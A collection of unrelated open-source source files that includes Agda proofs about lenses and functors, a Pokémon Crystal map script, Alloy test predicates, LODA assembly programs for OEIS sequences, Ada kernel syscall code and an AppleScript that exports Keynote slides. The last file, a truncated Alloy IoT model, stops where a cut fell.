applyfix (↑ i0) (zero i0) λ i r (_ : Nat i) → case i bot default λ (j : Size< i) (n : Nat j) → -- Size< i is possibly empty, should be rejected case j n default λ (h : Size< j) (_ : Nat h) → r (↑ h) (zero h) -- loops -- --> fix t (↑ i0) (zero i0) -- --> t (↑ i0) (fix t) (zero i0) -- --> case i0 bot default λ j n → case j n default λ h _ → fix t (↑ h) (zero h) -- and we have reproduced (modulo [h/i0]) what we started with -- The above needs this inference to typecheck -- h < j, j < i -- --------------------- -- ↑ h < i
maps/UnionCave1F.asm
Dev727/ancientplatinum
28
166229
<reponame>Dev727/ancientplatinum<gh_stars>10-100 object_const_def ; object_event constants const UNIONCAVE1F_POKEFAN_M1 const UNIONCAVE1F_SUPER_NERD const UNIONCAVE1F_POKEFAN_M2 const UNIONCAVE1F_FISHER1 const UNIONCAVE1F_FISHER2 const UNIONCAVE1F_POKE_BALL1 const UNIONCAVE1F_POKE_BALL2 const UNIONCAVE1F_POKE_BALL3 const UNIONCAVE1F_POKE_BALL4 UnionCave1F_MapScripts: db 0 ; scene scripts db 0 ; callbacks TrainerPokemaniacLarry: trainer <NAME>, EVENT_BEAT_POKEMANIAC_LARRY, PokemaniacLarrySeenText, PokemaniacLarryBeatenText, 0, .Script .Script: endifjustbattled opentext writetext PokemaniacLarryAfterBattleText waitbutton closetext end TrainerHikerRussell: trainer HIKER, RUSSELL, EVENT_BEAT_HIKER_RUSSELL, HikerRussellSeenText, HikerRussellBeatenText, 0, .Script .Script: endifjustbattled opentext writetext HikerRussellAfterBattleText waitbutton closetext end TrainerHikerDaniel: trainer HIKER, DANIEL, EVENT_BEAT_HIKER_DANIEL, HikerDanielSeenText, HikerDanielBeatenText, 0, .Script .Script: endifjustbattled opentext writetext HikerDanielAfterBattleText waitbutton closetext end TrainerFirebreatherBill: trainer FIREBREATHER, BILL, EVENT_BEAT_FIREBREATHER_BILL, FirebreatherBillSeenText, FirebreatherBillBeatenText, 0, .Script .Script: endifjustbattled opentext writetext FirebreatherBillAfterBattleText waitbutton closetext end TrainerFirebreatherRay: trainer FIREBREATHER, RAY, EVENT_BEAT_FIREBREATHER_RAY, FirebreatherRaySeenText, FirebreatherRayBeatenText, 0, .Script .Script: endifjustbattled opentext writetext FirebreatherRayAfterBattleText waitbutton closetext end UnionCave1FGreatBall: itemball GREAT_BALL UnionCave1FXAttack: itemball X_ATTACK UnionCave1FPotion: itemball POTION UnionCave1FAwakening: itemball AWAKENING UnionCave1FUnusedSign: ; unused jumptext UnionCave1FUnusedSignText HikerRussellSeenText: text "You're headed to" line "AZALEA, are you?" para "Let my #MON see" line "if you are good" cont "enough to battle." done HikerRussellBeatenText: text "Oh, oh, oh!" done HikerRussellAfterBattleText: text "All right, then!" line "I've decided." para "I'm not leaving" line "until my #MON" cont "get tougher!" done PokemaniacLarrySeenText: text "I roam far and" line "wide in search of" cont "#MON." para "Are you looking" line "for #MON too?" para "Then you're my" line "collecting rival!" done PokemaniacLarryBeatenText: text "Ugh. My poor #-" line "MON…" done PokemaniacLarryAfterBattleText: text "Every Friday, you" line "can hear #MON" para "roars from deep" line "inside the cave." done HikerDanielSeenText: text "Whoa! What a" line "surprise!" para "I didn't expect to" line "see anyone here!" done HikerDanielBeatenText: text "Whoa! I'm beaten" line "big time!" done HikerDanielAfterBattleText: text "I was conned into" line "buying a SLOWPOKE-" cont "TAIL." para "I feel sorry for" line "the poor #MON." done FirebreatherBillSeenText: text "ZUBAT's SUPERSONIC" line "keeps confusing" cont "my #MON." para "I'm seriously" line "upset about that!" done FirebreatherBillBeatenText: text "I flamed out!" done FirebreatherBillAfterBattleText: text "On weekends, you" line "can hear strange" para "roars from deep in" line "the cave." done FirebreatherRaySeenText: text "If it's light, a" line "cave isn't scary." para "If you're strong," line "#MON aren't" cont "scary." done FirebreatherRayBeatenText: text "FLASH!" done FirebreatherRayAfterBattleText: text "It's my #MON's" line "fire that lights" cont "up this cave." done UnionCave1FUnusedSignText: text "UNION CAVE" done UnionCave1F_MapEvents: db 0, 0 ; filler db 4 ; warp events warp_event 5, 19, UNION_CAVE_B1F, 3 warp_event 3, 33, UNION_CAVE_B1F, 4 warp_event 17, 31, ROUTE_33, 1 warp_event 17, 3, ROUTE_32, 4 db 0 ; coord events db 0 ; bg events db 9 ; object events object_event 3, 6, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 2, TrainerHikerDaniel, -1 object_event 4, 21, SPRITE_SUPER_NERD, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerPokemaniacLarry, -1 object_event 11, 8, SPRITE_POKEFAN_M, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 1, TrainerHikerRussell, -1 object_event 15, 27, SPRITE_FISHER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 4, TrainerFirebreatherRay, -1 object_event 14, 19, SPRITE_FISHER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 4, TrainerFirebreatherBill, -1 object_event 17, 21, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, UnionCave1FGreatBall, EVENT_UNION_CAVE_1F_GREAT_BALL object_event 4, 2, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, UnionCave1FXAttack, EVENT_UNION_CAVE_1F_X_ATTACK object_event 4, 17, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, UnionCave1FPotion, EVENT_UNION_CAVE_1F_POTION object_event 12, 33, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, UnionCave1FAwakening, EVENT_UNION_CAVE_1F_AWAKENING
experiments/test-suite/cd.als
saiema/ARepair
5
4501
<reponame>saiema/ARepair<filename>experiments/test-suite/cd.als -- Manually generated tests. pred test1001 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Class0->Class1 + Class1->Class0 AllExtObject[] }} } run test1001 for 3 expect 0 pred test1002 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 no ext AllExtObject[] }} } run test1002 for 3 expect 0 pred test1003 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 Acyclic[] }} } run test1003 for 3 expect 1 pred test1004 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Object0->Class1 + Class0->Object0 Acyclic[] }} } run test1004 for 3 expect 1 pred test1005 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Object0->Class0 + Class0->Class1 Acyclic[] }} } run test1005 for 3 expect 1 pred test1006 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Object0->Class0 + Class0->Class1 + Class1->Object0 Acyclic[] }} } run test1006 for 3 expect 0 pred test1007 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Class0->Class0 Acyclic[] }} } run test1007 for 3 expect 0 -- Automatically generated tests. pred test13 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 no ext Acyclic[] }} } run test13 for 3 expect 1 pred test14 { some disj Object0: Object {some disj Object0: Class { Object = Object0 Class = Object0 no ext Acyclic[] }} } run test14 for 3 expect 1 pred test18 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Object0 + Class0->Class0 AllExtObject[] }} } run test18 for 3 expect 0 pred test7 { some disj Object0, Object1: Object {some disj Class0, Object0, Object1: Class { Object = Object0 + Object1 Class = Class0 + Object0 + Object1 ext = Class0->Object1 + Object0->Class0 }} } run test7 for 3 expect 0 pred test11 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Object0 + Class0->Class0 Acyclic[] }} } run test11 for 3 expect 0 pred test21 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Class0->Class1 + Class1->Object0 AllExtObject[] }} } run test21 for 3 expect 1 pred test15 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Object0->Class1 + Class0->Class1 + Class1->Class0 Acyclic[] }} } run test15 for 3 expect 0 pred test16 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Class0 AllExtObject[] }} } run test16 for 3 expect 0 pred test17 { some disj Object0: Object {some disj Object0: Class { Object = Object0 Class = Object0 no ext AllExtObject[] }} } run test17 for 3 expect 1 pred test24 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 no ext ClassHierarchy[] }} } run test24 for 3 expect 0 pred test8 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Class0 ObjectNoExt[] }} } run test8 for 3 expect 0 pred test5 { some disj Class0, Class1, Class2: Class { no Object Class = Class0 + Class1 + Class2 ext = Class0->Class2 + Class1->Class0 } } run test5 for 3 expect 0 pred test19 { some disj Object0: Object {some disj Object0, Class0, Class1: Class { Object = Object0 Class = Object0 + Class0 + Class1 ext = Class0->Object0 + Class1->Object0 AllExtObject[] }} } run test19 for 3 expect 1 pred test3 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Class0->Class0 }} } run test3 for 3 expect 1 pred test6 { some disj Object0, Object1: Object {some disj Class0, Object0, Object1: Class { Object = Object0 + Object1 Class = Class0 + Object0 + Object1 ext = Class0->Object1 + Object0->Object0 + Object1->Class0 }} } run test6 for 3 expect 0 pred test9 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Class0->Class0 ObjectNoExt[] }} } run test9 for 3 expect 1 pred test20 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Object0 + Class0->Object0 AllExtObject[] }} } run test20 for 3 expect 1 pred test2 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Object0 + Class0->Class0 }} } run test2 for 3 expect 0 pred test22 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Class0 ClassHierarchy[] }} } run test22 for 3 expect 0 pred test12 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Object0 Acyclic[] }} } run test12 for 3 expect 0 pred test23 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Class0->Class0 ClassHierarchy[] }} } run test23 for 3 expect 0 pred test10 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Class0 Acyclic[] }} } run test10 for 3 expect 0 pred test1 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Class0 + Class0->Class0 }} } run test1 for 3 expect 1 pred test4 { some disj Object0: Object {some disj Object0, Class0: Class { Object = Object0 Class = Object0 + Class0 ext = Object0->Object0 + Object0->Class0 + Class0->Object0 + Class0->Class0 }} } run test4 for 3 expect 0
oeis/006/A006356.asm
neoneye/loda-programs
11
82589
<filename>oeis/006/A006356.asm ; A006356: a(n) = 2*a(n-1) + a(n-2) - a(n-3) for n >= 3, starting with a(0) = 1, a(1) = 3, and a(2) = 6. ; Submitted by <NAME>(s4) ; 1,3,6,14,31,70,157,353,793,1782,4004,8997,20216,45425,102069,229347,515338,1157954,2601899,5846414,13136773,29518061,66326481,149034250,334876920,752461609,1690765888,3799116465,8536537209,19181424995,43100270734,96845429254,217609704247,488964567014,1098693409021,2468741680809,5547212203625,12464472679038,28007415880892,62932092237197,141407127676248,317738931708801,713952898856653,1604237601745859,3604689170639570,8099663044168346,18199777657230403,40894529187989582,91889172989041221 mov $2,1 mov $4,1 lpb $0 sub $0,1 add $1,$4 mov $3,$2 add $4,$1 add $2,$4 mov $4,$3 lpe mov $0,$2
oeis/227/A227622.asm
neoneye/loda-programs
11
24369
<reponame>neoneye/loda-programs ; A227622: Primes p of the form m^2 + 27. ; Submitted by <NAME> ; 31,43,127,223,283,811,1051,1471,1627,2143,2731,3163,3391,4651,5503,6427,8863,9631,16411,16927,18523,23131,23743,27583,28927,29611,33151,37663,42463,43291,44971,45823,56671,65563,70783,78427,80683,84127,87643,106303,110251,122527,123931,131071,132523,141403,144427,150571,163243,168127,198943,200731,204331,228511,238171,250027,280927,283051,293791,300331,327211,329503,341083,343423,362431,391903,394411,414763,438271,448927,454303,457003,465151,512683,524203,547627,577627,611551,614683,640027 mov $2,332203 mov $5,26 lpb $2 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $5,$1 add $1,4 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 add $5,$1 mov $6,$5 lpe mov $0,$5 add $0,1
tests/inchexstr/2.asm
NullMember/customasm
414
173730
<reponame>NullMember/customasm #d inchexstr("data2.txt") ; = 0x5
programs/oeis/022/A022117.asm
karttu/loda
0
96094
<reponame>karttu/loda ; A022117: Fibonacci sequence beginning 2, 15. ; 2,15,17,32,49,81,130,211,341,552,893,1445,2338,3783,6121,9904,16025,25929,41954,67883,109837,177720,287557,465277,752834,1218111,1970945,3189056,5160001,8349057,13509058,21858115,35367173,57225288,92592461,149817749,242410210,392227959,634638169,1026866128,1661504297,2688370425,4349874722,7038245147,11388119869,18426365016,29814484885,48240849901,78055334786,126296184687,204351519473,330647704160,534999223633,865646927793,1400646151426,2266293079219,3666939230645,5933232309864,9600171540509,15533403850373,25133575390882,40666979241255,65800554632137,106467533873392,172268088505529,278735622378921,451003710884450,729739333263371,1180743044147821,1910482377411192,3091225421559013,5001707798970205,8092933220529218 mov $1,2 mov $2,10 lpb $0,1 sub $0,1 trn $3,$2 add $3,$1 mov $1,$2 add $1,5 add $2,$3 lpe
src/Data/Lens/Proofs/LensComposition.agda
JonathanBrouwer/research-project
1
1808
module Data.Lens.Proofs.LensComposition where open import Haskell.Prelude renaming (zero to Z; suc to S) open import Data.Lens.Lens open import Data.Logic open import Agda.Primitive open import Data.Lens.Proofs.LensLaws open import Data.Lens.Proofs.LensPostulates -- We proof that if we have 2 valid lenses l1 and l2, that l1 ∘ l2 is also valid -- We do this law by law prop-Composition-ViewSet : {a b c : Set} -> (l1 : ValidLens a b) -> (l2 : ValidLens b c) -> ViewSet ((toLens l1) ∘ (toLens l2)) prop-Composition-ViewSet vl1@(CValidLens l1 vs1 sv1 ss1) vl2@(CValidLens l2 vs2 sv2 ss2) v s = begin view (l1 ∘ l2) (set (l1 ∘ l2) v s) =⟨ prop-view-compose vl1 vl2 (set (l1 ∘ l2) v s) ⟩ view l2 ( view l1 (set (l1 ∘ l2) v s)) =⟨ cong (view l2 ∘ view l1) (prop-set-compose-dir vl1 vl2 s v) ⟩ view l2 ( view l1 (set l1 ((set l2 v) (view l1 s)) s)) =⟨ cong (view l2) (vs1 ((set l2 v) (view l1 s)) s) ⟩ view l2 (set l2 v (view l1 s)) =⟨ vs2 v (view l1 s) ⟩ v end prop-Composition-SetView : {a b c : Set} -> (l1 : ValidLens a b) -> (l2 : ValidLens b c) -> SetView ((toLens l1) ∘ (toLens l2)) prop-Composition-SetView vl1@(CValidLens l1 vs1 sv1 ss1) vl2@(CValidLens l2 vs2 sv2 ss2) s = begin set (l1 ∘ l2) (view (l1 ∘ l2) s) s =⟨ cong (λ x -> set (l1 ∘ l2) x s) (prop-view-compose vl1 vl2 s) ⟩ set (l1 ∘ l2) (view l2 (view l1 s)) s =⟨ prop-set-compose-dir vl1 vl2 s (view l2 (view l1 s)) ⟩ set l1 (set l2 (view l2 (view l1 s)) (view l1 s)) s =⟨ cong (λ x -> set l1 x s) (sv2 (view l1 s)) ⟩ set l1 (view l1 s) s =⟨ sv1 s ⟩ s end prop-Composition-SetSet : {a b c : Set} -> (l1 : ValidLens a b) -> (l2 : ValidLens b c) -> SetSet ((toLens l1) ∘ (toLens l2)) prop-Composition-SetSet vl1@(CValidLens l1 vs1 sv1 ss1) vl2@(CValidLens l2 vs2 sv2 ss2) v1 v2 s = begin set (l1 ∘ l2) v2 (set (l1 ∘ l2) v1 s) =⟨ cong (set (l1 ∘ l2) v2) (prop-set-compose-dir vl1 vl2 s v1) ⟩ set (l1 ∘ l2) v2 (set l1 (set l2 v1 (view l1 s)) s) =⟨ prop-set-compose-dir vl1 vl2 (set l1 ((set l2 v1) (view l1 s)) s) v2 ⟩ set l1 (set l2 v2 (view l1 (set l1 ((set l2 v1) (view l1 s)) s) ) ) (set l1 (set l2 v1 (view l1 s)) s) =⟨ cong (λ x -> set l1 (set l2 v2 x) (set l1 ((set l2 v1) (view l1 s)) s)) (vs1 ((set l2 v1) (view l1 s)) s) ⟩ set l1 (set l2 v2 (set l2 v1 (view l1 s)) ) (set l1 (set l2 v1 (view l1 s)) s) =⟨ cong (λ x -> set l1 x (set l1 (set l2 v1 (view l1 s)) s)) (ss2 v1 v2 (view l1 s)) ⟩ set l1 (set l2 v2 (view l1 s) ) (set l1 (set l2 v1 (view l1 s)) s) =⟨ ss1 ((set l2 v1 (view l1 s))) ((set l2 v2 (view l1 s))) s ⟩ set l1 (set l2 v2 (view l1 s) ) s =⟨ sym (prop-set-compose-dir vl1 vl2 s v2) ⟩ set (l1 ∘ l2) v2 s end -- Create a function that does the composition composeLens : {a b c : Set} -> (ValidLens a b) -> (ValidLens b c) -> (ValidLens a c) composeLens vl1@(CValidLens l1 vs1 sv1 ss1) vl2@(CValidLens l2 vs2 sv2 ss2) = CValidLens (l1 ∘ l2) (prop-Composition-ViewSet vl1 vl2) (prop-Composition-SetView vl1 vl2) (prop-Composition-SetSet vl1 vl2)
action.scpt
RakhithJK/key2png
0
1246
on run {input, parameters} set destDir to item 1 of input as string repeat with a from 2 to length of input tell application "Keynote" set doc to open item a of input set title to the name of doc set exportAlias to destDir & title export doc to alias exportAlias as slide images with properties {image format:PNG} close doc end tell end repeat return input end run
libsrc/graphics/dither_pattern.asm
meesokim/z88dk
0
84769
; ; Dither patterns, ordered by increasing intensity (0..11) ; Functions expects intensity in A and Y coordinate in C ; ; On exit A will hold the current value for pattern ; ; <NAME>, 18/3/2009 ; ; $Id: dither_pattern.asm,v 1.2 2015/01/19 01:32:46 pauloscustodio Exp $ ; PUBLIC dither_pattern .dither_pattern and a ret z cp 11 jr c,nomax ld a,255 ret .nomax sla a sla a ld l,a ld a,c ; Y and 3 or l ld l,a ld h,0 ld de,_dithpat-4 add hl,de ld a,(hl) ret _dithpat: defb @00000010 ; 1 defb @00000000 defb @00100000 defb @00000000 defb @00000010 ; 2 defb @10000000 defb @00100000 defb @00001000 defb @00010100 ; 3 defb @01000001 defb @00010100 defb @01000001 defb @00010100 ; 4 defb @01000001 defb @10010100 defb @01001001 defb @01000101 ; 5 defb @10101000 defb @00010101 defb @10101010 defb @01010101 ; 6 defb @10101010 defb @01010101 defb @10101010 defb @11001100 ; 7 defb @00110011 defb @11001100 defb @00110011 defb @11011101 ; 8 defb @10101010 defb @01110111 defb @10101010 defb @11011101 ; 9 defb @01110111 defb @11011101 defb @01110111 defb @11111101 ; 10 defb @01111111 defb @11011111 defb @11110111
scripts/Route6Gate.asm
opiter09/ASM-Machina
1
240452
<filename>scripts/Route6Gate.asm<gh_stars>1-10 Route6Gate_Script: call EnableAutoTextBoxDrawing ld hl, Route6Gate_ScriptPointers ld a, [wRoute6GateCurScript] call CallFunctionInTable ret Route6Gate_ScriptPointers: dw Route6GateScript0 dw Route6GateScript1 Route6GateScript0: ld a, [wd728] bit 6, a ret nz ld hl, CoordsData_1e08c call ArePlayerCoordsInArray ret nc ld a, PLAYER_DIR_RIGHT ld [wPlayerMovingDirection], a xor a ldh [hJoyHeld], a farcall RemoveGuardDrink ldh a, [hItemToRemoveID] and a jr nz, .asm_1e080 ld a, $2 ldh [hSpriteIndexOrTextID], a call DisplayTextID call Route6GateScript_1e0a1 ld a, $1 ld [wRoute6GateCurScript], a ret .asm_1e080 ld hl, wd728 set 6, [hl] ld a, $3 ldh [hSpriteIndexOrTextID], a jp DisplayTextID CoordsData_1e08c: dbmapcoord 3, 2 dbmapcoord 4, 2 db -1 ; end Route6GateScript1: ld a, [wSimulatedJoypadStatesIndex] and a ret nz call Delay3 xor a ld [wJoyIgnore], a ld [wRoute6GateCurScript], a ret Route6GateScript_1e0a1: ld hl, wd730 set 7, [hl] ld a, $80 ld [wSimulatedJoypadStatesEnd], a ld a, $1 ld [wSimulatedJoypadStatesIndex], a xor a ld [wSpritePlayerStateData2MovementByte1], a ld [wOverrideSimulatedJoypadStatesMask], a ret Route6Gate_TextPointers: dw Route6GateText1 dw Route6GateText2 dw Route6GateText3
codes/single char display.asm
rupak10987/ASSEMBLY_language_practice
0
241402
.model small .stack 100h .data .code main proc mov ah,2 mov dl,'?' INT 21H main endp end main
src/semantica-declsc3a.ads
alvaromb/Compilemon
1
3317
with Decls.Dgenerals, Semantica, Decls.Dtdesc, Ada.Sequential_Io, Ada.Text_Io, Decls.D_Taula_De_Noms, Semantica.Ctipus, Ada.Strings, Ada.Strings.Fixed, Ada.Strings.Maps; use Decls.Dgenerals, Semantica, Decls.Dtdesc, Decls.D_Taula_De_Noms, Semantica.Ctipus, Ada.Strings, Ada.Strings.Fixed, Ada.Strings.Maps; package Semantica.Declsc3a is --taula procediments procedure Nouproc (Tp : in out T_Procs; Idp : out num_proc); function Consulta (Tp : in T_Procs; Idp : in num_proc) return Info_Proc; function Consulta (Tv : in T_Vars; Idv : in num_var) return Info_Var; procedure Modif_Descripcio (Tv : in out T_Vars; Idv : in num_var; Iv : in Info_Var); procedure Novavar (Tv : in out T_Vars; Idpr : in num_proc; Idv : out num_var); procedure Novaconst (Tv : in out T_Vars; Vc : in Valor; Tsub : in tipussubjacent; Idpr : in num_proc; Idc : out num_var); --Taula d'etiquetes function Nova_Etiq return num_Etiq; function Etiqueta (Ipr : in Info_Proc) return String; --Fitxers procedure Crea_Fitxer (Nom_Fitxer : in String); procedure Obrir_Fitxer (Nom_Fitxer : in String); procedure Tanca_Fitxer; procedure Llegir_Fitxer (Instruccio : out c3a); procedure Escriure_Fitxer (Instruccio : in c3a); function Fi_Fitxer return Boolean; private package Fitxer_Seq is new Ada.Sequential_Io(c3a); use Fitxer_Seq; F3as : Fitxer_Seq.File_Type; F3at : Ada.Text_Io.File_Type; end Semantica.Declsc3a;
programs/oeis/290/A290452.asm
neoneye/loda
22
28650
<reponame>neoneye/loda ; A290452: Triangle formed by reading the triangle of Eulerian numbers (A173018) mod 2. ; 1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,0 sub $0,1 lpb $0 sub $0,2 add $1,1 mov $2,$0 trn $0,$1 lpe bin $1,$2 mod $1,2 mov $0,$1
src/syscalls/ewok-syscalls-exiting.adb
PThierry/ewok-kernel
0
20632
<reponame>PThierry/ewok-kernel -- -- Copyright 2018 The wookey project team <<EMAIL>> -- - <NAME> -- - <NAME> -- - <NAME> -- - <NAME> -- - <NAME> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- with ewok.tasks; use ewok.tasks; package body ewok.syscalls.exiting with spark_mode => off is procedure svc_exit (caller_id : in ewok.tasks_shared.t_task_id; mode : in ewok.tasks_shared.t_task_mode) is begin if mode = TASK_MODE_ISRTHREAD then #if CONFIG_SCHED_SUPPORT_FISR declare current_state : constant t_task_state := ewok.tasks.get_state (caller_id, TASK_MODE_MAINTHREAD); begin if current_state = TASK_STATE_RUNNABLE or current_state = TASK_STATE_IDLE then ewok.tasks.set_state (caller_id, TASK_MODE_MAINTHREAD, TASK_STATE_FORCED); end if; end; #end if; ewok.tasks.set_state (caller_id, TASK_MODE_ISRTHREAD, TASK_STATE_ISR_DONE); -- Main thread mode else -- FIXME: maybe we should clean resources (devices, DMA, IPCs) ? -- This means: -- * unlock task waiting for this task to respond to IPC, returning BUSY -- * disabling all registered interrupts (NVIC) -- * disabling all EXTIs -- * cleaning DMA registered streams & reseting them -- * deregistering devices -- * deregistering GPIOs -- Most of those actions should be handled by each component unregister() -- call (or equivalent) -- All waiting events of the softirq input queue for this task should also be -- cleaned (they also can be cleaned as they are treated by softirqd) ewok.tasks.set_state (caller_id, TASK_MODE_MAINTHREAD, TASK_STATE_FINISHED); end if; end svc_exit; end ewok.syscalls.exiting;
src/Control/Functor.agda
andreasabel/cubical
0
4736
-- Functors on Set module Control.Functor where open import Function using (id; flip) renaming (_∘′_ to _∘_) open import Relation.Binary.PropositionalEquality open ≡-Reasoning -- Operations of a functor. module T-FunctorOps (F : Set → Set) where -- Type of the map function. T-map = ∀ {A B} → (A → B) → F A → F B T-for = ∀ {A B} → F A → (A → B) → F B record FunctorOps (F : Set → Set) : Set₁ where open T-FunctorOps F -- The map function. field map : T-map -- Alternative notations. for : T-for for = flip map infixr 5 _<$>_ _<&>_ _<$>_ = map _<&>_ = for -- Laws of a functor. module T-FunctorLaws {F : Set → Set} (ops : FunctorOps F) where open FunctorOps ops public -- First functor law: identity. ∀ (m : F A) → id <$> m ≡ m T-map-id = ∀ {A : Set} → map {A = A} id ≡ id -- Second functor law: composition. ∀ (m : F A) → (g ∘ f) <$> m ≡ g <$> (f <$> m) T-map-∘ = ∀ {A B C} {f : A → B} {g : B → C} → map (g ∘ f) ≡ map g ∘ map f record FunctorLaws {F : Set → Set} (ops : FunctorOps F) : Set₁ where open T-FunctorLaws ops field map-id : T-map-id map-∘ : T-map-∘ -- Functoriality. record IsFunctor (F : Set → Set) : Set₁ where field ops : FunctorOps F laws : FunctorLaws ops open FunctorOps ops public open FunctorLaws laws public record Functor : Set₁ where constructor functor field F : Set → Set F! : IsFunctor F open IsFunctor F! public -- Id is a functor. idIsFunctor : IsFunctor (λ A → A) idIsFunctor = record { ops = record { map = λ f → f } ; laws = record { map-id = refl ; map-∘ = refl } } Id : Functor Id = record { F = λ A → A ; F! = idIsFunctor } -- Functors compose. -- open FunctorOps {{...}} -- open FunctorLaws {{...}} compIsFunctor : ∀ {F G} → IsFunctor F → IsFunctor G → IsFunctor (λ A → F (G A)) compIsFunctor f g = record { ops = record { map = λ h → F.map (G.map h) } ; laws = record { map-id = trans (cong F.map G.map-id) F.map-id ; map-∘ = map-comp } } where module F = IsFunctor f module G = IsFunctor g map-comp : ∀ {A B C} {h : A → B} {i : B → C} → F.map (G.map (i ∘ h)) ≡ F.map (G.map i) ∘ F.map (G.map h) map-comp {h = h}{i = i} = begin F.map (G.map (i ∘ h)) ≡⟨ cong F.map G.map-∘ ⟩ F.map (G.map i ∘ G.map h) ≡⟨ F.map-∘ ⟩ F.map (G.map i) ∘ F.map (G.map h) ∎ Comp : Functor → Functor → Functor Comp (functor F F!) (functor G G!) = functor (λ A → F (G A)) (compIsFunctor F! G!) -- The constant functor. constIsFunctor : ∀ A → IsFunctor (λ _ → A) constIsFunctor A = record { ops = record { map = λ f x → x } ; laws = record { map-id = refl ; map-∘ = refl } } Const : (A : Set) → Functor Const A = functor (λ _ → A) (constIsFunctor A)
FormalAnalyzer/models/apps/ID13SwitchOnSetHomeMode+.als
Mohannadcse/IoTCOM_BehavioralRuleExtractor
0
2678
<reponame>Mohannadcse/IoTCOM_BehavioralRuleExtractor module app_ID13SwitchOnSetHomeMode open IoTBottomUp as base open cap_userInput open cap_location open cap_switch one sig app_ID13SwitchOnSetHomeMode extends IoTApp { mySwitch : set cap_switch, phone : one cap_userInput, location : one cap_location, } { rules = r } one sig cap_userInput_attr_phone extends cap_userInput_attr {} { values = cap_userInput_attr_phone_val } abstract sig cap_userInput_attr_phone_val extends cap_userInput_attr_value_val {} // application rules base class abstract sig r extends Rule {} one sig r0 extends r {}{ triggers = r0_trig conditions = r0_cond commands = r0_comm } abstract sig r0_trig extends Trigger {} one sig r0_trig0 extends r0_trig {} { capabilities = app_ID13SwitchOnSetHomeMode.mySwitch attribute = cap_switch_attr_switch value = cap_switch_attr_switch_val_on } abstract sig r0_cond extends Condition {} one sig r0_cond0 extends r0_cond {} { capabilities = app_ID13SwitchOnSetHomeMode.phone attribute = cap_userInput_attr_phone value = cap_userInput_attr_phone_val } abstract sig r0_comm extends Command {} one sig r0_comm0 extends 